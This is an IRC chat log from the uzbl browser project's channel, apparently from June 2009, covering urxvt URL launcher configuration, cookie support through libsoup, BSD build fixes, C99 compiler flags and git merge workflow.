04:00 < scp1> i.e
04:00 < Morasique> scp1: well, i think urxvt has one it uses by default
04:00 < Morasique> you can define your own if you want
04:00 < scp1> regexp? regular expressions
04:01 < Xappe> URxvt.perl-ext-common: default,matcher
04:01 < Xappe> and it'll use the builtin regexp
04:01 < Morasique> ah. yeah, that's what i did
04:02 < KlavKalashj> ah, same here :D
04:02 < Morasique> it's been so long since i set this up i don't remember what any of the things mean anymore
04:02 < Morasique> urxvt doesn't like urlloaders with arguments, i made a script and it gets run if i just do urlloader: /tmp/foo, but if i do urlloader: /tmp/foo -u the script never executes
04:03 < scp1> strange.
04:03 < uranther> in that case, make a wrapper script :/
04:03 < Morasique> uranther: yeah, that's what i did originally, but scp1's $0 trick makes it work for me
04:03 < Morasique> i have no idea why still
04:03 < uranther> curious
04:04 < Morasique> scp1: so it still doesn't work for you? do you get a window at all?
04:04 < scp1> it does work now, yes.
04:04 < Morasique> oh, yay
04:04 < scp1> I was trying to match my regexp with !URxvt*matcher.pattern.2:    \\bhttps?:\/\/[\\w-.]*\/[\\w./?&@#-]*.(jpg|jpeg|png)
04:04 < scp1> !URxvt*matcher.launcher.2:    feh -FZ $0
04:04 < scp1> though.
04:05 < scp1> that indeed does not work
04:05 < Xappe> hehe
04:05 < scp1> blah, /usr/local/bin/uzbl -u $0 i mean... my clipboard is acting crazy today
04:07 < Morasique> crap, my hotkey link-clicker is broken :)
04:08 < Morasique> $0 is turning into 'sh' for that
04:08 < scp1> :o
04:08 < Morasique> $1 works for that, but not for clicking
04:08 < Morasique> i think i'm going with the wrapper script
04:09 < Morasique> woo
04:09 < scp1> very strange, because $1 is the first argument and the most logical >_>
04:10 < scp1> scp1:shiva » echo $0
04:10 < scp1> -zsh
04:10 < Morasique> $1 turned into 'm' when i clicked on a link
04:10 < scp1> :s
04:10 < scp1> ah.
04:10 < scp1> "$1"
04:11 < uranther> i kinda wish webkit wouldn't print "NP_Initialize" all the time
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04:40 < bct> gobject is black magic
04:50 < Tel_Janin> I get a lot of "signal 'dettach window' is invalid for instance 'yadda yadda'", and "signal 'destroy'..." when I start uzbl.
04:50 < Tel_Janin> what causes that?
04:53 < Morasique> i'm used to just ignoring glib errors
04:59 < Tel_Janin> yeah, it doean't cause problems, just wondered about it showing up.
04:59 < Tel_Janin> what does cause problems are the libsoup errors ending the uzbl instance when I navigate to a certain forum
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05:08 < Morasique> Tel_Janin: which?
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05:09 < uranther> Tel_Janin, i fixed that error in my branch
05:10 < uranther> along with the glib errors
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05:11 < uranther> err
05:11 < uranther> Tel_Janin, i fixed that error in my branch
05:11 < uranther> along with the glib errors
05:11 < scp1> http://kmkeen.com/pacgraph/repo.gif cool :)
05:12 < uranther> oh god
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06:23 < Morasique> koan: ...
06:25 < uranther> b&
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06:36 < seppo0010> /part
06:37 < seppo0010> ups
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09:28 < Dieterbe> Morasique: if things show up on my network graph that look good, i merge them in
09:29 < Dieterbe> Morasique: you don't need to explicitly tell me about commits/patches, unless you don't use github
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09:58 < Dieterbe>  scp1> have you noticed -> http://data.fuskbugg.se/skalman01/acid3.png ? :) <-- put this on our screenshots page on the wiki :P
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10:04 < Dieterbe>  bct> mystery solved: http://gist.github.com/124620 <-- nice find
10:04 < Dieterbe> bct: is there no easy way to disable the built in cookie stuff?
10:19 < scp1> Dieterbe: done :)
10:20 < Dieterbe> scp1: the top one is vimperator, bottom uzbl right?
10:20 < scp1> yep
10:21 < Dieterbe> scp1: i'll change the title a bit to make that clear
10:21 < scp1> ah okay
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10:25 < tha> nice work
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10:26 < holizz> Why yes cookies do work for me.
10:26 < Dieterbe> they do?
10:26 < holizz> All it took was a one-line change.
10:26 < Dieterbe> aha
10:27 < holizz> I _probably_ haven't broken anything.
10:27 < Dieterbe> now you got my full attention :)
10:27 < Dieterbe> tha: thanks
10:28 < holizz> Thanks to bct's information, all you have to do is run it after the default handler for request-started.
10:29 < holizz> See GitHub.
10:29 < Dieterbe> oh. so basically, we just need to do it a little later
10:29 < scp1> Amazing how much better pages render with webkit
10:29 < holizz> Yep. Call it after the request-started default handler.
10:30 < Dieterbe> holizz: are you on the ML? someone posted the problem ( bct i guess), maybe you can reply with your solution
10:30 < holizz> I'm not. I should subscribe to that.
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10:33 < Dieterbe> holizz: yeah, and when you have. tell http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-June/000058.html the happy news :P
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10:39 < holizz> What's the best way to reply to a mailing list message that didn't actually arrive in my inbox? Address it to the list and put RE: <the title>?
10:40 < Dieterbe> holizz: i'll fwd the message to you, then you can reply to the list
10:40 < Dieterbe> holizz: pm me your email address
10:41 < Dieterbe> done
10:43 < holizz> Google won't keep me logged-in, interestingly. Although everywhere else seems fine.
10:55 < holizz> Sent.
10:57 < Dieterbe> hmm the ML asks me if i want to approve your post
10:57 < Dieterbe> you sure you registered on the ML ?
10:57 < holizz> I did. But I haven't got a confirmation email yet.
11:02 < Dieterbe> i used my admin powers to accept your mail
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11:39 < scp1> I'm reading the archlinux thread and some random comments regarding tabs, scrollists and god knows what.. I really hope that you'll keep uzbl as simple as possible.
11:44 < Dieterbe> yeha
11:44 < Dieterbe> we're already past all that stuff
11:44 < Dieterbe> we now know what we want (though we didn't implement everything yet)
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12:49 < ruskie> :)
12:49 < scp1> :)
12:57 < holizz> Well I broke Facebook with my cookies patch. It complains that I need cookies enabled.
12:57 < scp1> Hm, how do I get that patch?
12:58 < scp1> git pull tells me already up-to-date :)
12:58 < holizz> http://github.com/holizz/uzbl/commit/e48000399b1c83786bcb398df7ce4fcb5b0b0040
12:59 < scp1> ah I see, thanks
13:05 < scp1> holizz: nice... :)
13:08 < Dieterbe> holizz: and what did facebook say without your patch?
13:09 < holizz> Facebook worked normally without my patch. i.e. I could log in, but obviously I had to log in each time.
13:10 < Dieterbe> each time you request a new page, or each time you didn't visit facebook for.. 30 minutes or so?
13:11 < holizz> Each time I visited a page in a new instance of uzbl.
13:11 < holizz> Before my patch uzbl handled cookies normally, just it didn't save them.
13:12 < scp1> Same problem here with facebook.
13:12 < Dieterbe> holizz: don't you mean: it saved them, but just didn't load them?
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13:14 < holizz> Yes. I meant, that without using a cookie_handler, it stores the cookies in RAM.
13:15 < Dieterbe> oh lol. i did not even know that :)
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13:34 < holizz> I have a solution: use libsoup's cookie jars.
13:36 < holizz> I makes things a lot simpler. And it works.
13:39 < holizz> See my cookies branch: http://github.com/holizz/uzbl/commit/655e67f3ecce3cdb30139df2a6bc0204ecd752ef
13:41 < Dieterbe> holizz: the problem is, then we loose control.  we want to use _external_ things to control cookies
13:42 < Dieterbe> or could we implement our own cookiething and add that to the soupSession, and implement the cookiething so that it uses an external script?
13:44 < holizz> Yes, that's a good idea.
13:46 < holizz> But we could optionally allow the user to just use libsoup's cookie jar. It's only 5 lines, and is probably less expensive than shelling out for every single request.
13:51 < mxey> How long does startign a shell on your system take, that it is such a concern?
13:55 < Zaba> sh -c exit  0.00s user 0.00s system 87% cpu 0.005 total <-- that's some time to save there.  Perhaps I want -O3 in my cflags?
13:56 < mxey> Zaba: ls -l =sh?
13:56 < Zaba> mxey, bash
13:56 < mxey> hm
13:56 < mxey> bash takes 0.006 here :>
13:57 < Zaba> sh -c exit  0.01s user 0.01s system 90% cpu 0.019 total
13:57 < Zaba> that's berkelium
13:57 < Zaba> (don't be surprised, everything takes a while there.)
13:57 < mxey> FreeBSD sh?
13:57 < Zaba> Yeah.
13:57 < mxey> Why so slow?
13:57 < Zaba> It generally is.
13:57 < mxey> FreebSD?
13:57 < Zaba> probably doesn't have enough time to step up from its 200MHz it's running at
13:59 < Zaba> mxey, generally, when already under load, it's swiftier
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14:25 < ds187weq> greetings everyone
14:32 < Dieterbe> greetings earthling
14:33 < Dieterbe> holizz: i don't like stepping away from uzbl's core philosphy just "because it takes only x lines" or to save 0.0x seconds cpu time
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14:42 < ds187weq> i have a small problem.....i set the "set uri" parameter to allways have my homepage when opening uzbl, but since i set that parameter, when rightclicking on a link and choosing "open link in new window" a new window is openend but all i see is the set homepage but not the chosen url
14:43 < Dieterbe> yeah this is a known bug. it's fixed in experimental, i merge the fix into master this weekend
14:43 < scp1> ds187weq: remove that homepage thing
14:43 < ds187weq> oh, ok
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14:44 < ds187weq> so all i have to do is pull the "new" version from git after the weekend, right? :-)
14:45 < scp1> or pull the experimental git? :)
14:45 < Dieterbe> ds187weq: yep
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14:53 < ds187weq> how do i change from "stable" to experimental". at the monent i use: git://github.com/Dieterbe/uzbl.git
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15:02 < Dieterbe> ds187weq: git checkout experimental
15:03 < Dieterbe> ds187weq: when you're inside the checked out clone
15:03 < Dieterbe> ds187weq: then make again etc
15:03 < Dieterbe> ds187weq: or maybe make clean && make
15:04 < ds187weq> error: pathspec 'experimental' did not match any file(s) known to git.
15:06 < mxey> Dieterbe: make clean should not be necessary, because Git will reset all timestamps to the time of checkout.
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15:06 < mxey> ds187weq Dieterbe: That should be git checkout --t -b experimental origin/experimental
15:06 < mxey> *-t
15:06 < mxey> (only -t, not --t)
15:07 < Dieterbe> looks good
15:07 < mxey> Looks like I end up being "the git dude" in here as well :>
15:10 < KlavKalashj> haha
15:10 < ds187weq> mxey: someone has to do the job :-)
15:10 < ds187weq> thx, worked
15:10 < KlavKalashj> How will I know when I need to do a git pull to update? Check the news page on uzbl.org?
15:10 < mxey> I am okay with that. I do not contribute anything else to uzbl so far.
15:11 < mxey> KlavKalashj: Just do a git pull?
15:12 < mxey> Other options include following the repo on GitHub.
15:12 < mxey> (RSS)
15:12 < KlavKalashj> ah, k
15:12 < KlavKalashj> thx
15:13 < ds187weq> is it normal behavior the when i end the browser with 'ZZ' that it gives me a segfault on the console?
15:13 < mxey> A segfault is not normal behaviour ;)
15:14 < ds187weq> thats what i thought :-)
15:14 < ds187weq> but hey, that segfault produced exact what i wanted :-)
15:14 < KlavKalashj> haha
15:15 < mxey> Torture can also give you the results you want, but that does not make it the right way ;)
15:16 < ds187weq> oh sorry, i thought this chan was about a certain browser and not about philosophie :-)
15:16 < mxey> It is actually about a browser that adheres to a philosophy that is ignored much too often.
15:18 < ds187weq> ok, good point :-)
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15:27 < ds187weq> another thing is, when i click on a link which automatically opens a new windows, there are allwas two windows opened
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15:29 < leot> hello all!
15:30 < KlavKalashj> ds187weq: That happens for me too
15:31 < ds187weq> so its at least not my fault :-)
15:31 < ds187weq> hi leot
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15:33 < leot> i'm extremely curios about uzbl because I think that it will be the browser that will suck less... I'm trying to install it on NetBSD/i386 5.0 (using BSD make) but I get this problem, I downloaded the experimental tarball just few minutes ago: http://pastebin.com/d596128e2 Anyone know how to fix it? Thanks a lot in advance.
15:34 < ds187> sorry, not much interpret-cryptic-make-and-compiler-error-message-skills here
15:36 < mxey> Try building with -Wall and see if missing header files come up
15:38 < leot> i get the same error.. mmh
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15:40 < liDEL> hello ;-)
15:40 < leot> hi liDEL
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15:58 < leot> fixed... i succesfully compiled it... special thanks to meillo
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15:59 < leot> it's well documented here: http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-June/000055.html please simply change the "stdout" variable name.
16:03 < mxey> hm, stdout does exist as a variable on GNU..
16:04 < leot> in NetBSD it's in <stdio.h>: ``#define stdout  (&__sF[1])''
16:05 < mxey> So it is a macro. I supposed.
16:06 < leot> yes, it's seem that it's also documented here, so i think it's better to change it: http://www.opengroup.org/onlinepubs/7990989775/xsh/stdio.h.html
16:08 < leot> (it seems that GNU is an exception... gggrr! :-))
16:08 < mxey> Always is.
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16:19 < leot> BTW thanks a lot, it seems very interesting
16:20 < leot> i'll add it in pkgsrc when the first stable version will be released
16:33 < bct> holizz: thanks for the fix!
16:34 < bct> facebook works for me, maybe because i'm using a custom cookie_handler - i thought you wrote cookies.py though?
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17:36 < rob|> hey guys. back from the mountains :)
17:42 < Dieterbe> welcome back rob| 
17:43 < Dieterbe> i planned to merge everything nicely before you would be back :/
17:43 < Dieterbe> plan execution fail
17:44 < rob|> hmm, didn't check what has been done while i was away. i guess quite a lot has changed ;)
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17:45 < Dieterbe> the usual progress ;)
17:45 < rob|> hehe, right
17:47 < rob|> need to get used to all this tech stuff again after one week in the mountains without electricity, running water and "normal" toilest ;))
17:47 < rob|> *toilets
17:48 < KlavKalashj> haha
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18:05 < xenol> rob|: welcome to civilization :P
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18:25 < peetah> hi all
18:27 < Dieterbe> hi
18:27 < peetah> what is the status of a potential debian package ?
18:28 < Zaba> why'd you want a package for something that hasn't even had a release yet?
18:29 < Dieterbe> not sure. a few people said they were working on it (or even already made one), but i don't remember the specifics
18:29 < peetah> Zaba: because I don't have time to build it myself, and I really would like to have a glimpse at those great feau
18:29 < peetah> Zaba: because I don't have time to build it myself, and I really would like to have a glimpse at those great features I keep reading about
18:29 < Zaba> `make' takes a lot of time to type...
18:29 < Dieterbe> peetah: don't mind Zaba, he trolls a lot :)
18:29 < Zaba> Install webkit-gtk from your package managers and build uzbl from git.
18:32 < peetah> Dieterbe: ok, I'll take this into account :)
18:32 < mxey> Zaba is not trolling, it's just the truth.
18:32 < Zaba> If you use uzbl from git, you'll also get all the *new* great features without waiting for someone to make a release, or worse, a package.
18:32 < mxey> making uzbl takes a few seconds. Asking for a Debian package takes longer and then you can still add the 'performance' of dpkg -i.
18:33 < peetah> Zaba: thanks, I'll try that
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18:35 < github> uzbl: bobpaul experimental SHA1-bcae0dd
18:35 < github> Fixed session.sh script.
18:35 < github> http://bit.ly/y54Wq
18:35 < github> uzbl: bobpaul experimental SHA1-a5e6e17
18:35 < github> session.sh: backup rather than clearing existing session file
18:35 < github> http://bit.ly/KrsCY
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18:43 < Dieterbe> holizz: did you notice that cookies (_all_ cookies) are stored 1 file?
18:43 < peetah> ok so now that you sent me on this way, can I annoy you with build problems ?
18:45 < peetah> uzbl.h:83: error: expected specifier-qualifier-list before ‘WebKitWebInspector’
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18:48 < kidd_> hi
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18:51 < Dieterbe> hi
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18:51 < peetah> Zaba: that was what I meant by spendingtime to build it, it is never as simple as "make", especially when it is still a alpha/beta stage
18:51 < Zaba> peetah, really?
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18:51 < Zaba> peetah, provided you have all the dependencies it's just "make."
18:52 < peetah> I have all the dep: there is no error such as foo.h: file doesnot exist
18:53 < mxey> gcc has the habit of hiding those..
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18:54 < mxey> btw, uzbl seems to build fine with clang :)
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19:28 < holizz_> Dieterbe: I did notice that. Should they not all be stored in one file? And are you talking about cookies.py, or what I stuck into uzbl.c?
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19:35 < Dieterbe> holizz: i'm talking about cookies.sh . in fact there was nothing really wrong with the original and nothing really needed to be done there. (there was the case "file treated as directory" but that was old code, coming after an 'exit' command) 
19:35 < Dieterbe> holizz: so now i just made some variable names more clear and that's all
19:37 < Dieterbe> holizz: i do want to merge in your changes for uzbl.c though, i'm now figuring out how to do just that
19:50 < Dieterbe> holizz: btw you did it bro. working cookies :) at least on bbs.archlinux.org
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19:50 < github> uzbl: Tom Adams experimental SHA1-eaed4ef
19:50 < github> javascript: URIs work.
19:50 < github> http://bit.ly/Ksgsk
19:50 < github> uzbl: Tom Adams experimental SHA1-6a73540
19:50 < github> Cookies work.
19:50 < github> http://bit.ly/c9Wgl
19:50 < github> uzbl: Tom Adams experimental SHA1-82597a8
19:50 < github> data: URIs work.
19:50 < holizz> I'm not entirely sure myself how to selectively merge changes.
19:50 < github> http://bit.ly/17lUQ6
19:50 < github> uzbl: Dieter Plaetinck experimental SHA1-df681a3
19:50 < github> add holizz to contributors
19:51 < github> http://bit.ly/J7MjA
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19:51 < Dieterbe> @peak
19:51 < dev_null> Dieterbe: holizz_ set a record of 81 people in #uzbl on June 06, 2009 at 04:56 PM CET. You'll need 2 more people to break the peak.
19:52 < holizz> I was really happy about getting cookies to work. It's not often I find a cool project that still has lots of things to be done.
19:52 < Dieterbe> yeah :)
19:54 < Dieterbe> holizz: i only pulled in a few commits from you. you'll probably want to revert the ones i did not like (your changes to cookies.sh)
19:54 < Zaba> so cookies totally work now?
19:54 < Dieterbe> no. not on facebook and maybe some other sites. right holizz ?
19:54 < Dieterbe> also there is no good control yet (accept only this sites, always deny that, etc)
19:55 < holizz> Yeah, Facebook and Google are troublesome.
19:55 < Zaba> what do they do to make it all so?
19:55 < Zaba> hey, let's sue them for complicatin' it for browser developers!
19:56 < holizz> I think integrating the cookie_handler with libsoup's CookieJar should solve the Facebook issue. It certainly works when you just use a normal CookieJarText. But that doesn't fix Google.
19:58 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git remote | wc -l
19:58 < Dieterbe> 20
19:59 < Dieterbe> i'm tracking 20 remotes :/
19:59 < Dieterbe> :P
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20:01 < github> uzbl: Jeremy O'Brien experimental SHA1-e3f6305
20:01 < github> Make progress bar show empty on start of page load
20:01 < github> http://bit.ly/TZRpO
20:01 < github> uzbl: Dieter Plaetinck experimental SHA1-7b99144
20:01 < github> authors file fixes
20:01 < github> http://bit.ly/b8yEF
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20:10 < github> uzbl: Dieter Plaetinck experimental SHA1-b121e01
20:10 < github> use stdlib atof() instead of gnu99 strtof() + more sense making example binds for zoomlevels
20:10 < github> http://bit.ly/78bcp
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20:11 < mxey> Dieterbe: strtof is gnu99, not c99. It could be fine.
20:12 < Zaba> strtof is c99
20:12 < Zaba>        The atof() function is subsumed by strtod() but is retained because it is used extensively in existing code. If the number is not known to be in range, strtod() should be used  because
20:12 < Zaba>        atof() is not required to perform any error checking.
20:14 < Dieterbe> Zaba: so, what do you suggest i do?
20:14 < Zaba> maybe use strtof and check for errors...
20:15 < Dieterbe> but strtof needs --std=gnu99
20:15 < Zaba> you could also use strtod
20:15 < Zaba> atof returns double anyway
20:16 < Zaba> atof(ptr) is strtod(ptr,(char**)NULL) - error checking, iirc
20:18 < Dieterbe> aha
20:18 < Dieterbe> strtod seems to work fine also
20:18 < Zaba> '-' here being a minus
20:18 < Dieterbe> without needing --std=gnu99
20:18 < Zaba> yeah, strtod was standard back in c89
20:18 < Dieterbe> so i stick to this?
20:18 < Zaba> strtof is since c99
20:19 < Zaba> if you like it, why not..
20:19 < mxey> If a compiler does not support C99 by now, you can ignore it ;)
20:19 < Zaba> mxey, gnu people confuse gnu99 with c99 it seems
20:19 < mxey> Indeed so.
20:19 < Zaba> Dieterbe, I don't have as much C experience as manpage reading experience.
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20:19 < github> uzbl: Dieter Plaetinck experimental SHA1-b251c40
20:19 < github> strtod > atof. Thanks Zaba
20:19 < github> http://bit.ly/lpCZQ
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20:20  * mxey builds his stuff with -std=c99 anyway
20:20  * Zaba smokes his stuff in -pipe
20:20  * mxey likes 'Make progress bar show empty on start of page load'
20:20 < mxey> Dieterbe: I hope you have no forgotten my patch
20:21  * Zaba too.
20:21 < Dieterbe> hmm
20:21 < Dieterbe> mxey: where is yours? are you on github?
20:21 < Zaba> I think I wouldn't realise it was not setting the progress bar to 0 on loading new page if it wasn't pointed out by that commit message.
20:21 < mxey> Dieterbe: I sent you a link once, hold on.
20:22 < Zaba> mxey used to be in the github hype but deserted.
20:22 < mxey> Like other Web 2.0 stuff :>
20:22 < mxey> Dieterbe: git://git.ghosthacking.net/code/uzbl
20:22 < Zaba> mxey, you are still blogging!
20:23 < Zaba> I wonder where's the spider that harvests victims from the web 2.0.
20:23 < Dieterbe> mxey: hmmm how do i add you as remote?
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20:24 < mxey> Dieterbe: Like any other remote?
20:24 < mxey> git remote add $name $url
20:24 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git remote add -f mxey git://git.ghosthacking.net/code/uzbl
20:24 < Dieterbe> Updating mxey
20:24 < Dieterbe> fatal: The remote end hung up unexpectedly
20:24 < Dieterbe> error: Could not fetch mxey
20:24 < mxey> interesting
20:24 < mxey> Yeah, it's fucked.
20:25 < mxey> Dieterbe: Try again.
20:25 < Dieterbe> aha works now
20:26 < mxey> My git daemon was missing --export-all.
20:26 < Zaba> mxey, it was most obscure when my git-daemon just Stopped Working once...
20:26 < mxey> Well, I just looked into the log.
20:28 < Dieterbe> ooh.. *that* patch
20:28 < mxey> Something wrong?
20:28 < Dieterbe> no :)
20:29 < Zaba> mxey, you have written The Patch.  It's not wrong nor right.  Prepare to get strange looks all the time from this moment on.
20:29 < mxey> There is no patch.
20:29 < Zaba> Patch is irrelevant.  You will be diffed.
20:29 < mxey> It looks like -std=c99 mostly leads to less builtin includes.
20:29 < Zaba> And I will be sleeping.
20:30 < mxey> I get errors about missing functions.
20:31 < Dieterbe> mxey: merged
20:31 < mxey> Dieterbe: How would I set -std=c99 in the Makefile?
20:32 < Dieterbe> my guess is adding it to CPPFLAGS
20:32 < mxey> -std=c99 is something for the compiler, not the preprocessor.
20:33 < mxey> I think we should just rename it to CFLAGS
20:33 < mxey> If you do not mind.
20:33 < Dieterbe> feel free to improve where you can :)
20:34 < mxey> kk
20:34 < mxey> Get ready for patches ;)
20:35 < mxey> Dieterbe: pushed it.
20:36  * Dieterbe food. cya soon
20:36 < mxey> hf
20:41 < KlavKalashj> how du I use sessions?
20:42 < KlavKalashj> set session_handler = /path/to/session.sh
20:42 < KlavKalashj> ?
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21:04 < bct> Dieterbe: cookies are working fine for me on facebook
21:05 < bct> using the cookie handler posted here: http://www.uzbl.org/wiki/scripts
21:06 < uranther> good work sir
21:09 < bct> facebook uses the domain= attribute, which cookies.sh doesn't support
21:37 < Dieterbe> oh
21:38 < Dieterbe> so we just need to improve cookies.sh a bit :)
21:38 < Dieterbe> hi uranther , i need you :)
21:40 < Dieterbe> uranther: i replaced your strof with --std=.. by strod, it works by default. also, we have a 'get' section on the site which points to the wiki which has links for distro's such as ubuntu. so basically, you can revert those commits and merge again from me, so that the diff between us is also what's really worth merging
21:40 < Dieterbe> s/also/only/
21:40 < Dieterbe> then i'll merge from ou
21:40 < Dieterbe> you
21:58 < Dieterbe> mxey: what's #define _POSIX_SOURCE for exactly?
21:59 < mxey> Dieterbe: I started working to fix the compiler errors with -std=c99. The first one was missing sigaction stuff. According to the manpage, one of the feature_test_macros for that is _POSIX_SOURCE. That also seems to have fixed all the other missing things.
21:59 < mxey> Dieterbe: I guess -std=gnuXX enabled it already, so with plain C we have to enable it ourselves to get some stuff uzbl uses.
22:00 < Dieterbe> but when i compile uzbl i'm not getting any warning or error
22:06 < Dieterbe> mxey: ?
22:06 < mxey> Why should you get errors?
22:06 < mxey> That would mean our beloved browser is broken.
22:07 < Dieterbe> well, you said you wanted to fix errors and therefore used _POSIX_SOURCE.
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22:12 < github> uzbl: Sylvester Johansson experimental SHA1-dd6e51e
22:12 < github> match against buttons values
22:12 < github> http://bit.ly/Xq4Xo
22:12 < github> uzbl: Sylvester Johansson experimental SHA1-488fa0c
22:12 < github> match against value on input forms
22:12 < github> http://bit.ly/4qivPZ
22:12 < github> uzbl: Maximilian Gaß experimental SHA1-e752dc9
22:12 < github> examples/scripts/download.sh: pushd/popd are unnecessary
22:12 < github> http://bit.ly/ei4VY
22:12 < github> uzbl: Dieter Plaetinck experimental SHA1-1a560ce
22:12 < github> Merge commit 'scj/master' into experimental
22:12 < github> http://bit.ly/U5sGy
22:12 < mxey> Dieterbe: Errors that were caused by switching to -std=c99
22:12 < github> uzbl: salinasv experimental SHA1-afb98a9
22:12 < github> Let keybinds work when status bar have focus.
22:12 < github> http://bit.ly/QHyEk
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22:12 < Dieterbe> mxey: but we don't use the -std=c99 flag
22:13 < mxey> Dieterbe: That is part of the patch, is it not?
22:13 < Dieterbe> mxey: aha. yes
22:14 < mxey> C99 is a defined standard, GNU99 is I-do-not-really-wanna-know.
22:14 < Dieterbe> :) okay then
22:14 < mxey> :)
22:15 < mxey> The main advantage at the moment really lies in its expressive messages
22:15 < mxey> *of clang
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22:17 < github> uzbl: Maximilian Gaß experimental SHA1-579dbd0
22:17 < github> Makefile: Renamed CPPFLAGS -> CFLAGS
22:17 < github> http://bit.ly/17CF0w
22:17 < github> uzbl: Maximilian Gaß experimental SHA1-2e1033c
22:17 < github> Build in C99 mode
22:17 < github> http://bit.ly/APjs
22:17 < github> uzbl: Dieter Plaetinck experimental SHA1-f5aa7f2
22:17 < github> Merge commit 'mxey/experimental' into experimental
22:17 < mxey> :))
22:17 < github> http://bit.ly/6l7m1
22:17 < github> uzbl: Dieter Plaetinck experimental SHA1-e974001
22:17 < github> add mxey
22:17 < github> http://bit.ly/4IzHK
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22:17 < mxey> The last thing does what?
22:18 < Dieterbe> clikey the linkey
22:18 < mxey> :>
22:19 < Dieterbe> man i love git
22:19 < mxey> Dieterbe: You have not seen a bit of it yet :)
22:19 < Dieterbe> yeah that's true :)
22:20 < Dieterbe> but, if we would need to uzbl development on svn or cvs :/
22:20 < mxey> paaain
22:20 < scp1> ♥ git
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22:23 < uranther> Dieterbe, oh so you want me to move the FAQ thing i added to the wiki?
22:24 < uranther> err i mean, it's already there :P
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22:26 < Dieterbe> uranther: yeah. i just want you do undo those commits.
22:26 < Dieterbe> uranther: git revert
22:26 < uranther> ok cool
22:38 < uranther> ok done
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22:39 < Dieterbe> uranther: let me see :)
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22:39 < github> uzbl: Abel `00z' Camarillo experimental SHA1-e3e90d4
22:39 < github> s/stdout/_stdout/g
22:39 < github> http://bit.ly/SdSls
22:39 < github> uzbl: Abel `00z' Camarillo experimental SHA1-b8af137
22:39 < github> s/stdout/_stdout/g on uzbl.h
22:39 < github> http://bit.ly/t0v6i
22:39 < github> uzbl: Abel `00z' Camarillo experimental SHA1-abec4c2
22:39 < github> uzbl now builds on OpenBSD
22:39 < github> http://bit.ly/CgeLx
22:39 < github> uzbl: Abel `00z' Camarillo experimental SHA1-bd6fb01
22:40 < github> uzbl now builds on OpenBSD
22:40 < github> http://bit.ly/irOed
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22:40 < uranther> http://github.com/uranther/uzbl/commit/c62cbf3436d1ea8b72e1789f6cc30a51f7489cdb
22:41 < Dieterbe> uranther: you'll also need to revert the commits related to the strof stuff
22:41 < uranther> oh ok
22:41 < Dieterbe> uranther: or i think you can even merge from me. you'll get a conflict and then you need to take my version
22:42 < uranther> http://github.com/uranther/uzbl/commit/aa02098d1be7eccb5fe86f3c0a48c4104deb521d
22:42 < uranther> err what else...
22:43 < uranther> i thought that one was it
22:43 < Dieterbe> uranther: basically, you should make it so that the diff between you and me is only the stuff i want to merge in. eg the icon and such
22:44 < uranther> i think i will git merge with you
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22:45 < uranther> err that could be a lot of merging...
22:46 < Dieterbe> well.. you can't beat the amount of merging i've been doing today :P
22:46 < uranther> yeah i was just thinking about that lol
22:50 < uranther> ffs
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22:54 < roxazer> hi, i've got the same problem as this guy http://bbs.archlinux.org/viewtopic.php?pid=550500#p550500 but he updated libwebkit, but my webkit is 1.1.8 and i must ahve 1.1.4 or higher, waht can be the problem?
22:58 < Dieterbe> what distro are you on?
22:58 < roxazer> archlinux
23:00 < Dieterbe> hmm odd
23:00 < Dieterbe> pacman -Syyu might help
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23:01 < roxazer> nope, didn't help
23:01 < roxazer> my system is up to date
23:01 < roxazer> it says that i need webkit 1.1.4 or higher, i have 1.1.8
23:02 < KlavKalashj> same version as me
23:02 < KlavKalashj> libwebkit 1.1.8-1
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23:03 < Dieterbe> roxazer: and which version exactly are you building?
23:04 < roxazer> http://aur.archlinux.org/packages.php?ID=25972
23:04 < uranther> Dieterbe, ok we're good, i think
23:04 < roxazer> that one
23:04 < uranther> was having some issues, as usual :P
23:06 < uranther> yeah fuck it didn't merge right did it
23:07 < KlavKalashj> roxazer: I tried that version yesterday, went fine... hm
23:08 < Dieterbe> roxazer: not really a good answer to your problem, but i'm busy pulling all new changes into master. when that's done (today or tomorrow) it may (or may not) work
23:09 < roxazer> okey, will try to install it tomorrow or on monday then
23:09 < Dieterbe> uranther: you're close. but not quite there yet
23:09 < uranther> yeah it seemed to prefer my old changes over your new ones
23:09 < uranther> fucking... git-pull
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23:14 < uranther> ok got it
23:15 < uranther> i'll get git one of these days :(
23:15 < Dieterbe> :)
23:16 < uranther> besides my million nonsense commits
23:16 < uranther> i got some good ones in there
23:16 < uranther> i was on a roll
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23:30 < Dieterbe> uranther: speaking of being on a roll..
23:31 < Dieterbe> pushing 121 commits :)
23:31 < uranther> :O
23:31 < uranther> nice
23:32 < Dieterbe> roxazer: can you try building that package now? i did the merge
23:32 < DuClare> o/
23:32 < Dieterbe> heya DuClare 
23:33 < DuClare> Looks like I've got some backlog to read when I get home
23:33 < Dieterbe> DuClare: you're at the conf still?
23:34 < KlavKalashj> Dieterbe: I just pulled the new git, a lot of changes:P also for session.sh. Won't I need to login on pages every time, now?
23:35 < Dieterbe> KlavKalashj: why ?
23:35 < KlavKalashj> Dieterbe: oh sorry, my english is not the best :P
23:36 < KlavKalashj> I mean, umm..
23:36 < KlavKalashj> will it save logins? :P
23:36 < DuClare> Dieterbe, Yep.. actually visiting an acquaintance who lives around
23:37 < Dieterbe> KlavKalashj: i dunno, i don't use the session script myself :P but uzbl will keep cookies for you
23:38 < KlavKalashj> Dieterbe: cool!
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23:49 < roxazer> Dieterbe: no, same errors
23:51 < Dieterbe> hmm sorry roxazer , i wouldn't know
23:51 < DuClare> Meh.  I was trying to catch up on the devl only to realize what I do is devoid of comprehension.
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23:53 < Masca> so now cookies are working? Nice!
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23:57 < github> uzbl: Dieter Plaetinck experimental SHA1-923fcf5
23:57 < github> unbreak markdown layout
23:57 < github> http://bit.ly/HK3z4
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23:59 < DuClare> Dieterbe, They are? :o
--- Day changed Sun Jun 07 2009
00:00 < DuClare> rob|, I didn't do much at all.  Had a somewhat busy week, and am now at the convention I mentioned about earlier
00:00 < DuClare> )(Responding to blacklog)
00:00 < DuClare> ..
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00:08 < github> uzbl: Dieter Plaetinck experimental SHA1-8e15fc2
00:08 < github> do not do cookie debugging (with notifier) by default
00:08 < github> http://bit.ly/1ts40d
00:08 < github> uzbl: Dieter Plaetinck experimental SHA1-3fafe96
00:08 < github> todo updates
00:08 < github> http://bit.ly/nmZhn
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00:10 < github> uzbl: Dieter Plaetinck master SHA1-923fcf5
